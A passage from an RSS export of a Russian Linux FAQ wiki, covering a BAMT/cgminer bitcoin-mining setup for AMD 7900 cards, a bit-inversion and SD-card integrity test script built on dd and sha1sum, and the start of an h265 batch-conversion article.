&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0442\u0435\u0441\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 pyrit&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439_\u0442\u0435\u0441\u0442_\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438_pyrit&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:12,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;5228-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>bamt-маиним-bitcoin-с-картами-amd-7900</title>
            <link>https://wiki.autosys.tk/linux_faq/bamt-%D0%BC%D0%B0%D0%B8%D0%BD%D0%B8%D0%BC-bitcoin-%D1%81-%D0%BA%D0%B0%D1%80%D1%82%D0%B0%D0%BC%D0%B8-amd-7900</link>
            <description>
&lt;p&gt;
BAMT версии 0.5 (на начало октября 2012) не поддерживает карты AMD 7900.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Для того чтобы максимально быстро и удобно интегрировать новые драйвера в BAMT нам понадобятся:&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
1. Образ BAMT&lt;br/&gt;

2. VMWare Player или Workstation&lt;br/&gt;

3. StarWind Converter &lt;a href=&quot;http://www.starwindsoftware.com/f3z99a6/StarWindConverter.exe&quot; class=&quot;urlextern&quot; title=&quot;http://www.starwindsoftware.com/f3z99a6/StarWindConverter.exe&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.starwindsoftware.com/f3z99a6/StarWindConverter.exe&lt;/a&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Начинаем.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Скачиваем и устанавливаем StarWind Converter &lt;a href=&quot;http://www.starwindsoftware.com/f3z99a6/StarWindConverter.exe&quot; class=&quot;urlextern&quot; title=&quot;http://www.starwindsoftware.com/f3z99a6/StarWindConverter.exe&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.starwindsoftware.com/f3z99a6/StarWindConverter.exe&lt;/a&gt;&lt;br/&gt;

Запускаем StarWind Converter и конвертируем образ BAMT в формат VMDK&lt;br/&gt;

В VMWare создаем виртуальную машину с операционкой “Ubuntu” и указываем в качестве HDD - файл сконвертированный из BAMT.&lt;br/&gt;

Загружаем машину, запускаем Accessories → Root Terminal. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Меняем пароль рута, чтобы зайти по SSH&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;passwd root&lt;/pre&gt;

&lt;p&gt;
и подключаемся по SSH. &lt;br/&gt;

Затем обновляем AMD SDK, cgminer и драйвер ATI.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd /usr/share
git clone https://github.com/ckolivas/cgminer.git
cd cgminer/ADL_SDK
wget http://download2-developer.amd.com/amd/GPU/zip/ADL_SDK_4.0.zip
unzip ADL_SDK_4.0.zip
cd include
mv adl* ..
cd /opt
tar xf /opt/AMD-APP-SDK-v2.4-lnx32/icd-registration.tgz
ln -s /opt/AMD-APP-SDK-v2.4-lnx32/include/CL /usr/include
ln -s /opt/AMD-APP-SDK-v2.4-lnx32/lib/x86/* /usr/lib/
ldconfig
cd /usr/share/cgminer
./autogen.sh
CFLAGS=&amp;quot;-O2 -Wall -march=native -I/opt/AMDAPP/include&amp;quot; LDFLAGS=&amp;quot;-L/usr/lib&amp;quot; ./configure --enable-scrypt
make
cp ./* /opt/miners/cgminer/ -Rf

/usr/share/ati/fglrx-uninstall.sh --force
sync
coldreboot

cd /home/user/Desktop/
wget http://www2.ati.com/drivers/linux/amd-driver-installer-12-8-x86.x86_64.zip
unzip amd-driver-installer-12-8-x86.x86_64.zip
chmod 755 amd-driver-installer-8.982-x86.x86_64.run
./amd-driver-installer-8.982-x86.x86_64.run
sync
coldreboot
&lt;/pre&gt;

&lt;p&gt;
Затем поправим файл /etc/init.d/mine&lt;br/&gt;

Мы пропишем туда разгон видеокарт и запуск cgminer&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/sh
logger &amp;quot;Start mining&amp;quot;
#atitweak --adapter=0 --set-engine-clock=990 --set-memory-clock=300  --set-core-voltage=1.165 --set-fan-speed=100
/usr/local/bin/atitweak --adapter=0 --set-engine-clock=1000  --set-fan-speed=100
/usr/local/bin/atitweak --adapter=1 --set-engine-clock=910 --set-fan-speed=100
/usr/local/bin/atitweak --adapter=2 --set-engine-clock=910   --set-fan-speed=100
/opt/miners/cgminer/cgminer --api-listen -c /etc/bamt/cgminer.conf

exit 0&lt;/pre&gt;

&lt;p&gt;
Сформировать файл настроек cgminer можно либо из сомого cgminer, запустив его&lt;br/&gt;

 &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/opt/miners/cgminer/cgminer --api-listen -c /etc/bamt/cgminer.conf&lt;/pre&gt;

&lt;p&gt;
и нажав S и потом W&lt;br/&gt;

 либо прописав в &lt;strong&gt;/etc/bamt/cgminer.conf&lt;/strong&gt;  вон чиво:&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
{&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;&amp;quot;pools&amp;quot; : [
        {
                &amp;quot;url&amp;quot; : &amp;quot;http://pit.deepbit.net:8332&amp;quot;,
                &amp;quot;user&amp;quot; : &amp;quot;mike@autosys.tk_homev&amp;quot;,
                &amp;quot;pass&amp;quot; : &amp;quot;xxx&amp;quot;
        }
]
,
&amp;quot;intensity&amp;quot; : &amp;quot;11,11,11&amp;quot;,
&amp;quot;vectors&amp;quot; : &amp;quot;1,2,2&amp;quot;,
&amp;quot;worksize&amp;quot; : &amp;quot;128,128,128&amp;quot;,
&amp;quot;kernel&amp;quot; : &amp;quot;diablo,diablo,diablo&amp;quot;,
&amp;quot;api-listen&amp;quot; : true,
&amp;quot;api-port&amp;quot; : &amp;quot;4028&amp;quot;,
&amp;quot;expiry&amp;quot; : &amp;quot;120&amp;quot;,
&amp;quot;gpu-dyninterval&amp;quot; : &amp;quot;7&amp;quot;,
&amp;quot;gpu-platform&amp;quot; : &amp;quot;0&amp;quot;,
&amp;quot;gpu-threads&amp;quot; : &amp;quot;2&amp;quot;,
&amp;quot;log&amp;quot; : &amp;quot;5&amp;quot;,
&amp;quot;queue&amp;quot; : &amp;quot;1&amp;quot;,
&amp;quot;scan-time&amp;quot; : &amp;quot;60&amp;quot;,
&amp;quot;shares&amp;quot; : &amp;quot;0&amp;quot;,
&amp;quot;kernel-path&amp;quot; : &amp;quot;/usr/local/bin&amp;quot;
}&lt;/pre&gt;

&lt;p&gt;
После этого надо сконвертировать VMDK обратно в формат Raw и залить на флешку&lt;br/&gt;

&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>bash_bits_operations</title>
            <link>https://wiki.autosys.tk/linux_faq/bash_bits_operations</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;как_побитно_инвертировать_файл_в_linux_shell&quot;&gt;Как побитно инвертировать файл в linux shell&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Мне понадобилось изготовить файлик довольно большого размера - 16Кбайт, заполненный одними нулями и одними единичками. Но не смоволами юникода 0 и 1, а битами. &lt;br/&gt;

Итак. Получить нолики просто:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dd if=/dev/zero of=./16384_zeroes count=16384 bs=1&lt;/pre&gt;

&lt;p&gt;
Проверить, что там побитовые нолики можно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ xxd -b 16384_zeroes
00000000: 00000000 00000000 00000000 00000000 00000000 00000000  ......
00000006: 00000000 00000000 00000000 00000000 00000000 00000000  ......
0000000c: 00000000 00000000 00000000 00000000 00000000 00000000  ......
00000012: 00000000 00000000 00000000 00000000 00000000 00000000  ......
...
00003ffc: 00000000 00000000 00000000 00000000                    ....&lt;/pre&gt;

&lt;p&gt;
Инвертировать побитово файл можно с помощью утилиты &lt;strong&gt;tr&lt;/strong&gt; примерно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;LC_ALL=C tr &amp;#039;\0-\377&amp;#039; &amp;#039;\377\376\375\374\373\372\371\370\367\366\365\364\363\362\361\360\357\356\355\354\353\352\351\350\347\346\345\344\343\342\341\340\337\336\335\334\333\332\331\330\327\326\325\324\323\322\321\320\317\316\315\314\313\312\311\310\307\306\305\304\303\302\301\300\277\276\275\274\273\272\271\270\267\266\265\264\263\262\261\260\257\256\255\254\253\252\251\250\247\246\245\244\243\242\241\240\237\236\235\234\233\232\231\230\227\226\225\224\223\222\221\220\217\216\215\214\213\212\211\210\207\206\205\204\203\202\201\200\177\176\175\174\173\172\171\170\167\166\165\164\163\162\161\160\157\156\155\154\153\152\151\150\147\146\145\144\143\142\141\140\137\136\135\134\133\132\131\130\127\126\125\124\123\122\121\120\117\116\115\114\113\112\111\110\107\106\105\104\103\102\101\100\77\76\75\74\73\72\71\70\67\66\65\64\63\62\61\60\57\56\55\54\53\52\51\50\47\46\45\44\43\42\41\40\37\36\35\34\33\32\31\30\27\26\25\24\23\22\21\20\17\16\15\14\13\12\11\10\7\6\5\4\3\2\1\0&amp;#039; &amp;lt; 16384_zeroes &amp;gt; 16384_ones&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u043a \u043f\u043e\u0431\u0438\u0442\u043d\u043e \u0438\u043d\u0432\u0435\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b \u0432 linux shell&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u043a_\u043f\u043e\u0431\u0438\u0442\u043d\u043e_\u0438\u043d\u0432\u0435\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c_\u0444\u0430\u0439\u043b_\u0432_linux_shell&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-2104&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;зачем_мне_такое_надо&quot;&gt;Зачем мне такое надо&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
А дальше я буду заливать этот файлик на флешку. У меня есть подозрения, что флеха (карточка Micro SD HC Kingston 16Gb SDC4 ) портит данные. Вот мы это и проверим.&lt;br/&gt;

Итак, смотрим сколько байтов у нас на флехе:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;fdisk -l /dev/sdc
Disk /dev/sdc: 14.42 GiB, 15472787456 bytes, 30220288 sectors&lt;/pre&gt;

&lt;p&gt;
То есть нам надо сделать файлик длинной &lt;strong&gt;15472787456&lt;/strong&gt; байт, посчитать его контрольную сумму, залить его на флеху, слить обратно и снова посчитать контрольную сумму. Если всё в порядке - сумма сойдется. &lt;br/&gt;

Будем создавать файлик сразу блоками по 1М, чтобы было быстро. Посчитаем сколько раз по 1М поместится на флехе:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ echo $(( 15472787456/1048576 ))
14756&lt;/pre&gt;

&lt;p&gt;
Теперь делаем маленький скриптик:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;rm -f ./16G_ones.img; for count in {1..14756}; do dd if=/dev/zero count=1 bs=1M | LC_ALL=C tr &amp;#039;\0-\377&amp;#039; &amp;#039;\377\376\375\374\373\372\371\370\367\366\365\364\363\362\361\360\357\356\355\354\353\352\351\350\347\346\345\344\343\342\341\340\337\336\335\334\333\332\331\330\327\326\325\324\323\322\321\320\317\316\315\314\313\312\311\310\307\306\305\304\303\302\301\300\277\276\275\274\273\272\271\270\267\266\265\264\263\262\261\260\257\256\255\254\253\252\251\250\247\246\245\244\243\242\241\240\237\236\235\234\233\232\231\230\227\226\225\224\223\222\221\220\217\216\215\214\213\212\211\210\207\206\205\204\203\202\201\200\177\176\175\174\173\172\171\170\167\166\165\164\163\162\161\160\157\156\155\154\153\152\151\150\147\146\145\144\143\142\141\140\137\136\135\134\133\132\131\130\127\126\125\124\123\122\121\120\117\116\115\114\113\112\111\110\107\106\105\104\103\102\101\100\77\76\75\74\73\72\71\70\67\66\65\64\63\62\61\60\57\56\55\54\53\52\51\50\47\46\45\44\43\42\41\40\37\36\35\34\33\32\31\30\27\26\25\24\23\22\21\20\17\16\15\14\13\12\11\10\7\6\5\4\3\2\1\0&amp;#039; &amp;gt;&amp;gt; ./16G_ones.img; echo $count; done&lt;/pre&gt;

&lt;p&gt;
Он создаст нам файлик, в котором будет ровно  15472787456 байт, в которых все биты - единички! &lt;br/&gt;

Зальем его на флеху:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dd if=./16G_ones.img of=/dev/sdc bs=16384 count=944384&lt;/pre&gt;

&lt;p&gt;
А дальше считаем флеху и проверим контрольные суммы:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sha1sum -b ./16G_ones.img
c068f9b373027daaabc6214d401da9341e5fa545 *./16G_ones.img

dd if=/dev/sdc of=./sdc_ones bs=16384 count=944384
sha1sum -b ./sdc_ones 
d2c42aa3c9b5be47e3fc5ef8aced8f9d867d3aea *./sdc_ones

rm -f ./sdc_ones
dd if=/dev/sdc of=./sdc_ones bs=16384 count=944384
sha1sum -b ./sdc_ones 
25bac255911597a5962598e5c817e208baa63c72 *./sdc_ones

rm -f ./sdc_ones
dd if=/dev/sdc of=./sdc_ones bs=16384 count=944384
sha1sum -b ./sdc_ones 
984396d75505063aaef7f23a40f337f7a70b5294 *./sdc_ones&lt;/pre&gt;

&lt;p&gt;
В результате - видно, что каждый раз при считывании контрольная сумма оказывается разная!!&lt;br/&gt;

Вывод - карточка битая! При этом - в логах ядра никаких ошибок чтения!
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0447\u0435\u043c \u043c\u043d\u0435 \u0442\u0430\u043a\u043e\u0435 \u043d\u0430\u0434\u043e&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0447\u0435\u043c_\u043c\u043d\u0435_\u0442\u0430\u043a\u043e\u0435_\u043d\u0430\u0434\u043e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;2105-5538&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;как_обойтись_без_файлика&quot;&gt;Как обойтись без файлика&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Инвертируем нолики в единички налету и льем на диск:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;export LC_ALL=C &amp;amp;&amp;amp; dd if=/dev/zero bs=16384 count=3897983 | tr &amp;#039;\0-\377&amp;#039; &amp;#039;\377\376\375\374\373\372\371\370\367\366\365\364\363\362\361\360\357\356\355\354\353\352\351\350\347\346\345\344\343\342\341\340\337\336\335\334\333\332\331\330\327\326\325\324\323\322\321\320\317\316\315\314\313\312\311\310\307\306\305\304\303\302\301\300\277\276\275\274\273\272\271\270\267\266\265\264\263\262\261\260\257\256\255\254\253\252\251\250\247\246\245\244\243\242\241\240\237\236\235\234\233\232\231\230\227\226\225\224\223\222\221\220\217\216\215\214\213\212\211\210\207\206\205\204\203\202\201\200\177\176\175\174\173\172\171\170\167\166\165\164\163\162\161\160\157\156\155\154\153\152\151\150\147\146\145\144\143\142\141\140\137\136\135\134\133\132\131\130\127\126\125\124\123\122\121\120\117\116\115\114\113\112\111\110\107\106\105\104\103\102\101\100\77\76\75\74\73\72\71\70\67\66\65\64\63\62\61\60\57\56\55\54\53\52\51\50\47\46\45\44\43\42\41\40\37\36\35\34\33\32\31\30\27\26\25\24\23\22\21\20\17\16\15\14\13\12\11\10\7\6\5\4\3\2\1\0&amp;#039; | dd of=/dev/sdc bs=16384&lt;/pre&gt;

&lt;p&gt;
Посчитаем SHA1, который должен быть:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;export LC_ALL=C &amp;amp;&amp;amp; dd if=/dev/zero bs=16384 count=3897983 | tr &amp;#039;\0-\377&amp;#039; &amp;#039;\377\376\375\374\373\372\371\370\367\366\365\364\363\362\361\360\357\356\355\354\353\352\351\350\347\346\345\344\343\342\341\340\337\336\335\334\333\332\331\330\327\326\325\324\323\322\321\320\317\316\315\314\313\312\311\310\307\306\305\304\303\302\301\300\277\276\275\274\273\272\271\270\267\266\265\264\263\262\261\260\257\256\255\254\253\252\251\250\247\246\245\244\243\242\241\240\237\236\235\234\233\232\231\230\227\226\225\224\223\222\221\220\217\216\215\214\213\212\211\210\207\206\205\204\203\202\201\200\177\176\175\174\173\172\171\170\167\166\165\164\163\162\161\160\157\156\155\154\153\152\151\150\147\146\145\144\143\142\141\140\137\136\135\134\133\132\131\130\127\126\125\124\123\122\121\120\117\116\115\114\113\112\111\110\107\106\105\104\103\102\101\100\77\76\75\74\73\72\71\70\67\66\65\64\63\62\61\60\57\56\55\54\53\52\51\50\47\46\45\44\43\42\41\40\37\36\35\34\33\32\31\30\27\26\25\24\23\22\21\20\17\16\15\14\13\12\11\10\7\6\5\4\3\2\1\0&amp;#039; | sha1sum -b -
9cee0b471cd582196b1c9fddf780186e69c526be *-&lt;/pre&gt;

&lt;p&gt;
А теперь посчитаем фактический SHA1:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dd if=/dev/sdc bs=16384 count=3897983 | sha1sum -b -
9cee0b471cd582196b1c9fddf780186e69c526be *-&lt;/pre&gt;

&lt;p&gt;
На новой флехе всё совпадает. &lt;br/&gt;

Вот скрипт для проверки флешки. Сначала скрипт заливает весь диск единичками, проверяет, потом - заливает нулями и проверяет:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash 

disk=$1
disk_size=`blockdev --getsize64 $disk`
block_size=32768
count=$(( $disk_size / $block_size ))
red=`tput setaf 1`
green=`tput setaf 2`
reset=`tput sgr0`

echo &amp;quot;Disk: ${disk}, Disk Size in bytes: ${disk_size}, Blocks count: ${count}&amp;quot;
echo &amp;quot;Calculating reference sha1sum with ones...&amp;quot;
ref_csum=`export LC_ALL=C &amp;amp;&amp;amp; dd if=/dev/zero bs=$block_size count=$count status=progress | tr &amp;#039;\0-\377&amp;#039; &amp;#039;\377\376\375\374\373\372\371\370\367\366\365\364\363\362\361\360\357\356\355\354\353\352\351\350\347\346\345\344\343\342\341\340\337\336\335\334\333\332\331\330\327\326\325\324\323\322\321\320\317\316\315\314\313\312\311\310\307\306\305\304\303\302\301\300\277\276\275\274\273\272\271\270\267\266\265\264\263\262\261\260\257\256\255\254\253\252\251\250\247\246\245\244\243\242\241\240\237\236\235\234\233\232\231\230\227\226\225\224\223\222\221\220\217\216\215\214\213\212\211\210\207\206\205\204\203\202\201\200\177\176\175\174\173\172\171\170\167\166\165\164\163\162\161\160\157\156\155\154\153\152\151\150\147\146\145\144\143\142\141\140\137\136\135\134\133\132\131\130\127\126\125\124\123\122\121\120\117\116\115\114\113\112\111\110\107\106\105\104\103\102\101\100\77\76\75\74\73\72\71\70\67\66\65\64\63\62\61\60\57\56\55\54\53\52\51\50\47\46\45\44\43\42\41\40\37\36\35\34\33\32\31\30\27\26\25\24\23\22\21\20\17\16\15\14\13\12\11\10\7\6\5\4\3\2\1\0&amp;#039; | sha1sum -b -`
echo &amp;quot;Reference sha1sum with ones: $ref_csum&amp;quot;

echo &amp;quot;Filling disk with ones...&amp;quot;
export LC_ALL=C &amp;amp;&amp;amp; dd if=/dev/zero bs=$block_size count=$count status=progress | tr &amp;#039;\0-\377&amp;#039; &amp;#039;\377\376\375\374\373\372\371\370\367\366\365\364\363\362\361\360\357\356\355\354\353\352\351\350\347\346\345\344\343\342\341\340\337\336\335\334\333\332\331\330\327\326\325\324\323\322\321\320\317\316\315\314\313\312\311\310\307\306\305\304\303\302\301\300\277\276\275\274\273\272\271\270\267\266\265\264\263\262\261\260\257\256\255\254\253\252\251\250\247\246\245\244\243\242\241\240\237\236\235\234\233\232\231\230\227\226\225\224\223\222\221\220\217\216\215\214\213\212\211\210\207\206\205\204\203\202\201\200\177\176\175\174\173\172\171\170\167\166\165\164\163\162\161\160\157\156\155\154\153\152\151\150\147\146\145\144\143\142\141\140\137\136\135\134\133\132\131\130\127\126\125\124\123\122\121\120\117\116\115\114\113\112\111\110\107\106\105\104\103\102\101\100\77\76\75\74\73\72\71\70\67\66\65\64\63\62\61\60\57\56\55\54\53\52\51\50\47\46\45\44\43\42\41\40\37\36\35\34\33\32\31\30\27\26\25\24\23\22\21\20\17\16\15\14\13\12\11\10\7\6\5\4\3\2\1\0&amp;#039; | dd of=$disk bs=$block_size 
echo &amp;quot;Flushing buffers to disks...&amp;quot;
sync
sync
echo 3 &amp;gt; /proc/sys/vm/drop_caches 

echo &amp;quot;Calculating sha1sum of the disk content...&amp;quot;
fact_csum=`dd if=$disk bs=$block_size count=$count status=progress | sha1sum -b -`
echo &amp;quot;Fact disk content sha1sum checksum: $fact_csum&amp;quot;

if [ &amp;quot;$ref_csum&amp;quot; = &amp;quot;$fact_csum&amp;quot; ]; then 
  echo &amp;quot;Check with ones passed... ${green}Disk is OK!${reset}&amp;quot;
else
  echo &amp;quot;Check with ones failed... ${red}Disk is BAD!${reset}&amp;quot;
fi

echo &amp;quot;Calculating reference sha1sum with zeroes...&amp;quot;
ref_csum=`dd if=/dev/zero bs=$block_size count=$count status=progress | sha1sum -b -`
echo &amp;quot;Reference sha1sum with zeroes: $ref_csum&amp;quot;

echo &amp;quot;Filling disk with zeroes...&amp;quot;
dd if=/dev/zero of=$disk bs=$block_size count=$count status=progress
echo &amp;quot;Flushing buffers to disks...&amp;quot;
sync
sync
echo 3 &amp;gt; /proc/sys/vm/drop_caches 

echo &amp;quot;Calculating sha1sum of the disk content...&amp;quot;
fact_csum=`dd if=$disk bs=$block_size count=$count status=progress | sha1sum -b -`
echo &amp;quot;Fact disk content sha1sum checksum: $fact_csum&amp;quot;

if [ &amp;quot;$ref_csum&amp;quot; = &amp;quot;$fact_csum&amp;quot; ]; then 
  echo &amp;quot;Check with ones passed... ${green}Disk is OK!${reset}&amp;quot;
else
  echo &amp;quot;Check with ones failed... ${red}Disk is BAD!${reset}&amp;quot;
fi&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u043a \u043e\u0431\u043e\u0439\u0442\u0438\u0441\u044c \u0431\u0435\u0437 \u0444\u0430\u0439\u043b\u0438\u043a\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u043a_\u043e\u0431\u043e\u0439\u0442\u0438\u0441\u044c_\u0431\u0435\u0437_\u0444\u0430\u0439\u043b\u0438\u043a\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;5539-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 08 Dec 2020 21:09:51 +0000</pubDate>
        </item>
        <item>
            <title>bash_script_to_batch_convert_video_files_to_h265</title>
            <link>https://wiki.autosys.tk/linux_faq/bash_script_to_batch_convert_video_files_to_h265</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;to_do&quot;&gt;to do&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
1. добавить вывод даты/времени в начале конвертирования каждого файла. бывает, что handbrake зависает и непонятно долго ли он уже мурыжит этот файл.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
3. Сделать проверку/сравнение длительности потока исходного и конечного файла. Просто я столкнулся с тем, что в отсутствие кодеков, handbrake создает файл без видеопотока, но ошибок не сообщает. 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ffprobe videofile.avi -v error -select_streams 0 -show_entries stream=duration&lt;/pre&gt;

&lt;p&gt;
4. Сделать проверку и исправление исходного файла, в случае, когда не совпадает длительность потока. &lt;br/&gt;

5.Сделать автоматическое определение необходимого уровня качества, в зависимости от разрешения и частоты кадров потока. &lt;a href=&quot;https://handbrake.fr/docs/en/latest/workflow/adjust-quality.html&quot; class=&quot;urlextern&quot; title=&quot;https://handbrake.fr/docs/en/latest/workflow/adjust-quality.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://handbrake.fr/docs/en/latest/workflow/adjust-quality.html&lt;/a&gt; . Для ролика 1920*1080*60 мне кажется хорошим значение параметра -q=24. Битрейт в этом случае составляет 9-10 мегабит в секунду. При больших значниях - становятся заметны артефакты (на паузе на границах объектов, при воспроизведении - меньше). Короче - надо тестировать.  
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;to do&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;to_do&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1659&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;для_чего&quot;&gt;Для чего&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Мне захотелось оптимизировать свой видеоархив при помощи кодека &lt;strong&gt;h265&lt;/strong&gt;, который позволяет существенно сэкономить место на диске практически без потери качества видеоматериалов. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u043b\u044f \u0447\u0435\u0433\u043e&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u043b\u044f_\u0447\u0435\u0433\u043e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1660-2020&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;применяемые_средства&quot;&gt;Применяемые средства&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для конвертации я буду использовать &lt;strong&gt;HandBrakeCLI&lt;/strong&gt; под &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt;. &lt;br/&gt;

Устанавливать &lt;strong&gt;HandBrakeCLI&lt;/strong&gt; лучше из &lt;a href=&quot;https://launchpad.net/~stebbins/+archive/ubuntu/handbrake-releases&quot; class=&quot;urlextern&quot; title=&quot;https://launchpad.net/~stebbins/+archive/ubuntu/handbrake-releases&quot; rel=&quot;ugc nofollow&quot;&gt;репозитория разработчиков&lt;/a&gt;. Версия, которая есть в репозиториях &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt; старая и некорректно обрабатывает звук (он просто пропадает после конвертации). &lt;br/&gt;

Также понадобится &lt;strong&gt;ffmpeg&lt;/strong&gt; для определения кодека (чтобы повторно не конвертировать файлы уже сконвертированные в &lt;strong&gt;h265&lt;/strong&gt;) и работы с данными &lt;strong&gt;EXIF&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo add-apt-repository ppa:stebbins/handbrake-releases
sudo apt-get update
sudo apt-get install handbrake-cli ffmpeg&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0435_\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2021-2987&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;описание_скрипта&quot;&gt;Описание скрипта&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Скрипт адаптирован к именам файлов и папок, содержащим пробелы. &lt;br/&gt;

Скрипт формирует список файлов в папке и вложенных папках по типу &lt;strong&gt;MIME&lt;/strong&gt; - &lt;strong&gt;video&lt;/strong&gt;. &lt;br/&gt;

